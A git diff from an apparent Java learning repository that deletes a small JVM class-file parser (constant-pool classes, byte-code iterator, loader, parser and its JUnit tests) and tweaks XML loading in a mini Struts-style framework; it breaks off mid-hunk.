-	public void setUtf8Index(int utf8Index) {
-		this.utf8Index = utf8Index;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public String getClassName() {		
-		int index = getUtf8Index();
-		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
-		return utf8Info.getValue();		
-	}
-}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/ConstantInfo.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/ConstantInfo.java
deleted file mode 100644
index 3ec050d100..0000000000
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/ConstantInfo.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.github.miniyk2012.coding2017.coderising.jvm.constant;
-
-public abstract class ConstantInfo {
-	public static final int UTF8_INFO = 1;
-	public static final int FLOAT_INFO = 4;
-	public static final int CLASS_INFO = 7;
-	public static final int STRING_INFO = 8;
-	public static final int FIELD_INFO = 9;
-	public static final int METHOD_INFO = 10;
-	public static final int NAME_AND_TYPE_INFO = 12;
-	protected ConstantPool constantPool;
-	
-	public ConstantInfo(){
-		
-	}
-	
-	public ConstantInfo(ConstantPool pool) {
-		this.constantPool = pool;
-	}
-	public abstract int getType();
-	
-	public ConstantPool getConstantPool() {
-		return constantPool;
-	}
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantPool.getConstantInfo(index);
-	}
-	
-}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/ConstantPool.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/ConstantPool.java
deleted file mode 100644
index 09370db1e5..0000000000
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/ConstantPool.java
+++ /dev/null
@@ -1,31 +0,0 @@
-package com.github.miniyk2012.coding2017.coderising.jvm.constant;
-
-import com.github.miniyk2012.coding2017.coderising.jvm.loader.ByteCodeIterator;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class ConstantPool {
-	
-	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
-
-	public ConstantPool(){
-		
-	}
-
-	public void addConstantInfo(ConstantInfo info){
-		
-		this.constantInfos.add(info);
-		
-	}
-	
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantInfos.get(index);
-	}
-	public String getUTF8String(int index){
-		return ((UTF8Info)this.constantInfos.get(index)).getValue();
-	}
-	public Object getSize() {		
-		return this.constantInfos.size() -1;
-	}
-}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/FieldRefInfo.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/FieldRefInfo.java
deleted file mode 100644
index 98c5ced1a9..0000000000
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/FieldRefInfo.java
+++ /dev/null
@@ -1,53 +0,0 @@
-package com.github.miniyk2012.coding2017.coderising.jvm.constant;
-
-public class FieldRefInfo extends ConstantInfo{
-	private int type = ConstantInfo.FIELD_INFO;
-	private int classInfoIndex;
-	private int nameAndTypeIndex;
-	
-	public FieldRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-		
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		
-		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
-	}
-	
-	public String getClassName(){
-		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
-		
-		// UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
-		// return utf8Info.getValue();
-		return classInfo.getClassName();
-		
-	}
-	
-	public String getFieldName(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getName();		
-	}
-	
-	public String getFieldType(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getTypeInfo();	
-	}
-}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/MethodRefInfo.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/MethodRefInfo.java
deleted file mode 100644
index a3cf910c99..0000000000
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/MethodRefInfo.java
+++ /dev/null
@@ -1,56 +0,0 @@
-package com.github.miniyk2012.coding2017.coderising.jvm.constant;
-
-public class MethodRefInfo extends ConstantInfo {
-	
-	private int type = ConstantInfo.METHOD_INFO;
-	
-	private int classInfoIndex;	
-	private int nameAndTypeIndex;
-	
-	public MethodRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
-	}
-
-	public String getClassName(){
-		// ConstantPool pool = this.getConstantPool();
-		// ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
-        ClassInfo  clzInfo = (ClassInfo)this.getConstantInfo(classInfoIndex);
-		return clzInfo.getClassName();
-	}
-	
-	public String getMethodName(){
-		// ConstantPool pool = this.getConstantPool();
-		// NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-        NameAndTypeInfo typeInfo = (NameAndTypeInfo)this.getConstantInfo(nameAndTypeIndex);
-		return typeInfo.getName();
-	}
-	
-	public String getParamAndReturnType(){
-		// ConstantPool pool = this.getConstantPool();
-		// NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-        NameAndTypeInfo typeInfo = (NameAndTypeInfo)this.getConstantInfo(nameAndTypeIndex);
-		return typeInfo.getTypeInfo();
-	}
-	
-}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/NameAndTypeInfo.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/NameAndTypeInfo.java
deleted file mode 100644
index 79f421bdd1..0000000000
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/NameAndTypeInfo.java
+++ /dev/null
@@ -1,47 +0,0 @@
-package com.github.miniyk2012.coding2017.coderising.jvm.constant;
-
-public class NameAndTypeInfo extends ConstantInfo{
-	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
-	
-	private int index1;
-	private int index2;
-	
-	public NameAndTypeInfo(ConstantPool pool) {
-		super(pool);
-	}
-	
-	public int getIndex1() {
-		return index1;
-	}
-	public void setIndex1(int index1) {
-		this.index1 = index1;
-	}
-	public int getIndex2() {
-		return index2;
-	}
-	public void setIndex2(int index2) {
-		this.index2 = index2;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	
-	public String getName(){
-		// ConstantPool pool = this.getConstantPool();
-		// UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
-		UTF8Info utf8Info1 = (UTF8Info)getConstantInfo(index1);
-		return utf8Info1.getValue();
-	}
-	
-	public String getTypeInfo(){
-		// ConstantPool pool = this.getConstantPool();
-		// UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
-		UTF8Info utf8Info2 = (UTF8Info)getConstantInfo(index2);
-		return utf8Info2.getValue();
-	}
-	
-	public String toString(){
-		return "(" + getName() + "," + getTypeInfo()+")";
-	}
-}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/NullConstantInfo.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/NullConstantInfo.java
deleted file mode 100644
index 2a16601a40..0000000000
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/NullConstantInfo.java
+++ /dev/null
@@ -1,13 +0,0 @@
-package com.github.miniyk2012.coding2017.coderising.jvm.constant;
-
-public class NullConstantInfo extends ConstantInfo {
-
-	public NullConstantInfo(){
-		
-	}
-	@Override
-	public int getType() {		
-		return -1;
-	}
-	
-}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/StringInfo.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/StringInfo.java
deleted file mode 100644
index 428191ee6a..0000000000
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/StringInfo.java
+++ /dev/null
@@ -1,26 +0,0 @@
-package com.github.miniyk2012.coding2017.coderising.jvm.constant;
-
-public class StringInfo extends ConstantInfo{
-	private int type = ConstantInfo.STRING_INFO;
-	private int index;
-	public StringInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-
-	
-	public String toString(){
-		return this.getConstantPool().getUTF8String(index);
-	}
-	
-}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/UTF8Info.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/UTF8Info.java
deleted file mode 100644
index 3247ec1656..0000000000
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/UTF8Info.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package com.github.miniyk2012.coding2017.coderising.jvm.constant;
-
-public class UTF8Info extends ConstantInfo{
-	private int type = ConstantInfo.UTF8_INFO;
-	private int length ;
-	private String value;
-	public UTF8Info(ConstantPool pool) {
-		super(pool);
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getType() {
-		return type;
-	}
-	@Override
-	public String toString() {
-		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
-	}
-	public String getValue() {
-		return value;
-	}
-	public void setValue(String value) {
-		this.value = value;
-	}
-
-}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ByteCodeIterator.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ByteCodeIterator.java
deleted file mode 100644
index 73eb2fc1ff..0000000000
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ByteCodeIterator.java
+++ /dev/null
@@ -1,79 +0,0 @@
-package com.github.miniyk2012.coding2017.coderising.jvm.loader;
-
-import com.github.miniyk2012.coding2017.coderising.jvm.util.Util;
-import org.apache.commons.lang3.ArrayUtils;
-
-import java.io.UnsupportedEncodingException;
-import java.util.Arrays;
-
-public class ByteCodeIterator {
-    private byte[] codes;
-    private int point = 0;
-
-    public ByteCodeIterator(byte[] codes) {
-        this.codes = codes;
-    }
-
-    public int nextU1toInt() {
-        byte[] u1 = new byte[] {codes[point++]};
-        return Util.byteToInt(u1);
-    }
-
-    public int nextU2toInt() {
-        byte[] u2 = new byte[] {codes[point++], codes[point++]};
-        return Util.byteToInt(u2);
-    }
-
-    /**
-     * 读取n个字节，并编码成UTF-8输出，point自动增加
-     * @param n
-     * @return
-     */
-    public String readUtf8(int n)
-    {
-        byte[] info = Arrays.copyOfRange(codes, point, point+n);
-        String utf8;
-        try {
-            utf8 = new String(info, "UTF-8");
-        } catch (UnsupportedEncodingException e) {
-            throw new RuntimeException("常量池UTF-8编码错误");
-        }
-        point += n;
-        return utf8;
-    }
-
-    /**
-     * 返回当前位置
-     * @return
-     */
-    public int position() {
-        return point;
-    }
-
-    /**
-     * n可正可负
-     * @param n
-     */
-    public void skip(int n) {
-        point = point + n;
-    }
-
-    public void seek(int n) {
-        if (n >= codes.length || n < 0) throw new IndexOutOfBoundsException();
-        point = n;
-    }
-
-    public static void main(String[] args) throws UnsupportedEncodingException {
-        byte[] codes = {0x00, 0x34, 0x00};
-        ByteCodeIterator byteCodeIterator = new ByteCodeIterator(codes);
-        System.out.println(byteCodeIterator.nextU2toInt());
-        System.out.println(byteCodeIterator.nextU1toInt());
-
-        byte[] codes2 = "Employee".getBytes("UTF-8");
-        byte[] codes3 = ArrayUtils.addAll(codes2, codes);
-        byteCodeIterator = new ByteCodeIterator(codes3);
-        System.out.println(byteCodeIterator.readUtf8(codes2.length));
-        System.out.println(byteCodeIterator.nextU2toInt());
-        System.out.println(byteCodeIterator.nextU1toInt());
-    }
-}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileLoader.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileLoader.java
deleted file mode 100644
index 650afcb6c1..0000000000
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileLoader.java
+++ /dev/null
@@ -1,89 +0,0 @@
-package com.github.miniyk2012.coding2017.coderising.jvm.loader;
-
-import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
-import org.apache.commons.io.FileUtils;
-import java.io.*;
-import java.util.ArrayList;
-import java.util.List;
-
-public class ClassFileLoader {
-
-	private List<String> clzPaths = new ArrayList<String>();
-	
-	public byte[] readBinaryCode(String className) {
-
-        String classPath = className.replace(".", File.separator) + ".class";
-        for (String parentPath: clzPaths) {
-            try {
-                String fullPath = parentPath + File.separator + classPath;
-                return FileUtils.readFileToByteArray(new File(fullPath));
-            } catch (IOException e) {
-                continue;
-            }
-        }
-        return null;
-    }
-	
-	public void addClassPath(String path) {
-		clzPaths.add(path);
-	}
-	
-	public String getClassPath(){
-		return String.join(";", clzPaths);
-	}
-
-    public ClassFile loadClass(String className) {
-        byte[] codes = this.readBinaryCode(className);
-        ClassFileParser parser = new ClassFileParser();
-        return parser.parse(codes);
-
-    }
-
-    // backup
-    public byte[] readBinaryCodeV1(String className) {
-        byte[] ret = null;
-        String classPath = className.replace(".", File.separator) + ".class";
-        for (String parentPath: clzPaths) {
-            String fullPath = parentPath + File.separator + classPath;
-            ret = readFileToByteArray(fullPath);
-            if (null != ret) {
-                return ret;
-            }
-
-        }
-        return ret;
-
-    }
-
-    private byte[] readFileToByteArray(String fullPath) {
-        InputStream is = null;
-        ByteArrayOutputStream bas = null;
-        byte[] ret = null;
-        try {
-            is = new BufferedInputStream(new FileInputStream(new File(fullPath)));
-            bas = new ByteArrayOutputStream();
-            byte[] buf = new byte[1024];
-            int bytesRead = 0;
-            while ((bytesRead = is.read(buf)) != -1) {
-                bas.write(buf, 0, bytesRead);
-            }
-            ret = bas.toByteArray();
-        } catch (IOException e) {
-//            e.printStackTrace();
-        } finally {
-            try {
-                if (is != null)
-                    is.close();
-                if (bas != null)
-                    bas.close();
-            } catch (IOException e) {
-                e.printStackTrace();
-            }
-        }
-        return ret;
-    }
-
-    public static void main(String[] args) {
-        new ClassFileLoader().readBinaryCode("");
-    }
-}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileParser.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileParser.java
deleted file mode 100644
index 7b84a15899..0000000000
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileParser.java
+++ /dev/null
@@ -1,112 +0,0 @@
-package com.github.miniyk2012.coding2017.coderising.jvm.loader;
-
-import com.github.miniyk2012.coding2017.coderising.jvm.clz.AccessFlag;
-import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
-import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassIndex;
-import com.github.miniyk2012.coding2017.coderising.jvm.constant.*;
-
-
-public class ClassFileParser {
-
-	public ClassFile parse(byte[] codes) {
-
-		ClassFile clzFile = new ClassFile();
-        ByteCodeIterator byteCodeIterator = new ByteCodeIterator(codes);
-        byteCodeIterator.skip(4);  // skip magic
-        int minorVersion = byteCodeIterator.nextU2toInt();
-        int majorVersion = byteCodeIterator.nextU2toInt();
-        ConstantPool constantPool = parseConstantPool(byteCodeIterator);
-        AccessFlag accessFlag = parseAccessFlag(byteCodeIterator);
-        ClassIndex classIndex = parseClassInfex(byteCodeIterator);
-
-        clzFile.setMinorVersion(minorVersion);
-        clzFile.setMajorVersion(majorVersion);
-        clzFile.setConstPool(constantPool);
-        clzFile.setAccessFlag(accessFlag);
-        clzFile.setClassIndex(classIndex);
-        return clzFile;
-	}
-
-	protected AccessFlag parseAccessFlag(ByteCodeIterator iter) {
-	    int access_flags = iter.nextU2toInt();
-        AccessFlag accessFlag = new AccessFlag(access_flags);
-		return accessFlag;
-	}
-
-	protected ClassIndex parseClassInfex(ByteCodeIterator iter) {
-        ClassIndex classIndex = new ClassIndex();
-        int thisClassIndex = iter.nextU2toInt();
-        int superClassIndex = iter.nextU2toInt();
-        classIndex.setThisClassIndex(thisClassIndex);
-        classIndex.setSuperClassIndex(superClassIndex);
-		return classIndex;
-	}
-
-	protected ConstantPool parseConstantPool(ByteCodeIterator iter) {
-        ConstantPool constantPool = new ConstantPool();
-        int constant_pool_count = iter.nextU2toInt();
-        ConstantInfo constantInfo;
-        constantPool.addConstantInfo(new NullConstantInfo());
-        for (int i=1; i<constant_pool_count; i++) {
-            int tag = iter.nextU1toInt();
-            constantInfo = getConstantInfo(iter, tag, constantPool);
-            constantPool.addConstantInfo(constantInfo);
-        }
-        return constantPool;
-	}
-
-    protected ConstantInfo getConstantInfo(ByteCodeIterator iter, int tag, ConstantPool pool) {
-	    switch (tag) {
-            case ConstantInfo.UTF8_INFO: {
-                UTF8Info utf8Info = new UTF8Info(pool);
-                int length = iter.nextU2toInt();
-                String value = iter.readUtf8(length);
-                utf8Info.setLength(length);
-                utf8Info.setValue(value);
-                return utf8Info;
-            }
-            case ConstantInfo.FLOAT_INFO: {
-                throw new RuntimeException(String.format("FLOAT_INFO常量池类型[%d]还未实现", tag));
-            }
-            case ConstantInfo.CLASS_INFO: {
-                ClassInfo classInfo = new ClassInfo(pool);
-                int utf8Index = iter.nextU2toInt();
-                classInfo.setUtf8Index(utf8Index);
-                return classInfo;
-            }
-            case ConstantInfo.FIELD_INFO: {
-                FieldRefInfo fieldRefInfo = new FieldRefInfo(pool);
-                int classInfoIndex = iter.nextU2toInt();
-                fieldRefInfo.setClassInfoIndex(classInfoIndex);
-                int nameAndTypeIndex = iter.nextU2toInt();
-                fieldRefInfo.setNameAndTypeIndex(nameAndTypeIndex);
-                return fieldRefInfo;
-            }
-            case ConstantInfo.METHOD_INFO: {
-                MethodRefInfo methodRefInfo = new MethodRefInfo(pool);
-                int classInfoIndex = iter.nextU2toInt();
-                int nameAndTypeIndex = iter.nextU2toInt();
-                methodRefInfo.setClassInfoIndex(classInfoIndex);
-                methodRefInfo.setNameAndTypeIndex(nameAndTypeIndex);
-                return methodRefInfo;
-            }
-            case ConstantInfo.NAME_AND_TYPE_INFO: {
-                NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(pool);
-                int index1 = iter.nextU2toInt();
-                int index2 = iter.nextU2toInt();
-                nameAndTypeInfo.setIndex1(index1);
-                nameAndTypeInfo.setIndex2(index2);
-                return nameAndTypeInfo;
-            }
-            case ConstantInfo.STRING_INFO: {
-                StringInfo stringInfo = new StringInfo(pool);
-                int index = iter.nextU2toInt();
-                stringInfo.setIndex(index);
-                return stringInfo;
-            }
-            default: {
-                throw new RuntimeException(String.format("该常量池类型[%d]还未实现", tag));
-            }
-        }
-    }
-}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java
deleted file mode 100644
index 013ec8073a..0000000000
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java
+++ /dev/null
@@ -1,176 +0,0 @@
-package com.github.miniyk2012.coding2017.coderising.jvm.test;
-
-import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
-import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassIndex;
-import com.github.miniyk2012.coding2017.coderising.jvm.constant.*;
-import com.github.miniyk2012.coding2017.coderising.jvm.loader.ClassFileLoader;
-import com.github.miniyk2012.coding2017.coderising.jvm.util.Util;
-import org.junit.After;
-import  org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-public class ClassFileloaderTest {
-
-    private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
-	static String path1 = ClassFileloaderTest.class.getClassLoader().getResource("struts").getPath();
-	static String path2 = ClassFileloaderTest.class.getClassLoader().getResource("jvm").getPath();
-    static ClassFile clzFile = null;
-
-    static {
-        ClassFileLoader loader = new ClassFileLoader();
-        loader.addClassPath(path1);
-        loader.addClassPath(path2);
-        String className = "com.github.miniyk2012.coding2017.jvm.test.EmployeeV1";
-
-        clzFile = loader.loadClass(className);
-        clzFile.print();
-    }
-
-	@Before
-	public void setUp() throws Exception {		 
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-	
-	@Test
-	public void testClassPath(){		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		
-		String clzPath = loader.getClassPath();
-		
-		Assert.assertEquals(path1+";"+path2,clzPath);
-		
-	}
-	
-	@Test
-	public void testClassFileLength() {		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-        loader.addClassPath(path1);
-        loader.addClassPath(path2);
-		
-		String className = "com.github.miniyk2012.coding2017.jvm.test.EmployeeV1";
-		
-		byte[] byteCodes = loader.readBinaryCode(className);
-		
-		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1056, byteCodes.length);
-		
-	}
-	
-    @Test	
-	public void testMagicNumber(){
-    	ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		String className = "com.github.miniyk2012.coding2017.jvm.test.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		
-		
-		String acctualValue = Util.byteToHexString(codes);
-		
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
-
-    /**
-     * ----------------------------------------------------------------------
-     */
-
-
-    @Test
-    public void testVersion(){
-
-        Assert.assertEquals(0, clzFile.getMinorVersion());
-        Assert.assertEquals(52, clzFile.getMajorVersion());
-
-    }
-
-    @Test
-    public void testConstantPool(){
-
-
-        ConstantPool pool = clzFile.getConstantPool();
-
-        Assert.assertEquals(53, pool.getSize());
-
-        {
-            ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
-            Assert.assertEquals(2, clzInfo.getUtf8Index());
-
-            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
-            Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
-        }
-        {
-            ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
-            Assert.assertEquals(4, clzInfo.getUtf8Index());
-
-            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
-            Assert.assertEquals("java/lang/Object", utf8Info.getValue());
-        }
-        {
-            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
-            Assert.assertEquals("name", utf8Info.getValue());
-
-            utf8Info = (UTF8Info) pool.getConstantInfo(6);
-            Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
-
-            utf8Info = (UTF8Info) pool.getConstantInfo(7);
-            Assert.assertEquals("age", utf8Info.getValue());
-
-            utf8Info = (UTF8Info) pool.getConstantInfo(8);
-            Assert.assertEquals("I", utf8Info.getValue());
-
-            utf8Info = (UTF8Info) pool.getConstantInfo(9);
-            Assert.assertEquals("<init>", utf8Info.getValue());
-
-            utf8Info = (UTF8Info) pool.getConstantInfo(10);
-            Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
-
-            utf8Info = (UTF8Info) pool.getConstantInfo(11);
-            Assert.assertEquals("Code", utf8Info.getValue());
-        }
-
-        {
-            MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
-            Assert.assertEquals(3, methodRef.getClassInfoIndex());
-            Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
-        }
-
-        {
-            NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
-            Assert.assertEquals(9, nameAndType.getIndex1());
-            Assert.assertEquals(14, nameAndType.getIndex2());
-        }
-        //抽查几个吧
-        {
-            MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
-            Assert.assertEquals(1, methodRef.getClassInfoIndex());
-            Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
-        }
-
-        {
-            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
-            Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
-        }
-    }
-    @Test
-    public void testClassIndex(){
-
-        ClassIndex clzIndex = clzFile.getClzIndex();
-        ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
-        ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
-
-
-        Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
-        Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
-    }
-
-}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/EmployeeV1.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/EmployeeV1.java
deleted file mode 100644
index 10cf71d576..0000000000
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/EmployeeV1.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.github.miniyk2012.coding2017.coderising.jvm.test;
-
-public class EmployeeV1 {
-	
-	
-	private String name;
-    private int age;
-    
-    public EmployeeV1(String name, int age) {
-        this.name = name;
-        this.age = age;        
-    }    
-
-    public void setName(String name) {
-        this.name = name;
-    }
-    public void setAge(int age){
-    	this.age = age;
-    }
-    public void sayHello() {        
-    	System.out.println("Hello , this is class Employee ");    	
-    }
-    public static void main(String[] args){
-    	EmployeeV1 p = new EmployeeV1("Andy",29);
-    	p.sayHello();    
-    	
-    }
-}
\ No newline at end of file
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/util/Util.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/util/Util.java
deleted file mode 100644
index 2f1d3e929b..0000000000
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/util/Util.java
+++ /dev/null
@@ -1,26 +0,0 @@
-package com.github.miniyk2012.coding2017.coderising.jvm.util;
-
-public class Util {
-	public static int byteToInt(byte[] codes){
-    	String s1 = byteToHexString(codes);
-    	return Integer.valueOf(s1, 16).intValue();
-    }
-    
-    
-    
-	public static String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-
-
-}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/litestruts/Struts.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/litestruts/Struts.java
index 42584af1e3..54e8468077 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/litestruts/Struts.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/litestruts/Struts.java
@@ -1,7 +1,5 @@
 package com.github.miniyk2012.coding2017.coderising.litestruts;
 
-import java.net.URISyntaxException;
-import java.net.URL;
 import java.util.HashMap;
 import java.util.Iterator;
 import java.util.Map;
@@ -27,7 +25,7 @@ public class Struts {
 	private static View view;
 	private static final Logger logger = Logger.getLogger(Struts.class.getName());
 	
-    public static View runAction(String actionName, Map<String,String> parameters) throws Exception {
+    public static View runAction(String actionName, Map<String,String> parameters) throws DocumentException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException, IntrospectionException {
 
         /*
          
@@ -95,9 +93,10 @@ private static Map<String, String> getFields()
 		return map;
 	}
 
-	private static void readXml() throws DocumentException, URISyntaxException {
-        URL url = Struts.class.getClassLoader().getResource("struts/struts.xml");
-    	File aFile = new File(url.toURI());
+	private static void readXml() throws DocumentException {
+    	String fileName = Thread.currentThread().getContextClassLoader().getResource("").getPath()
+    			+ "com/github/miniyk2012/coding2017/coderising/litestruts/struts.xml"; 
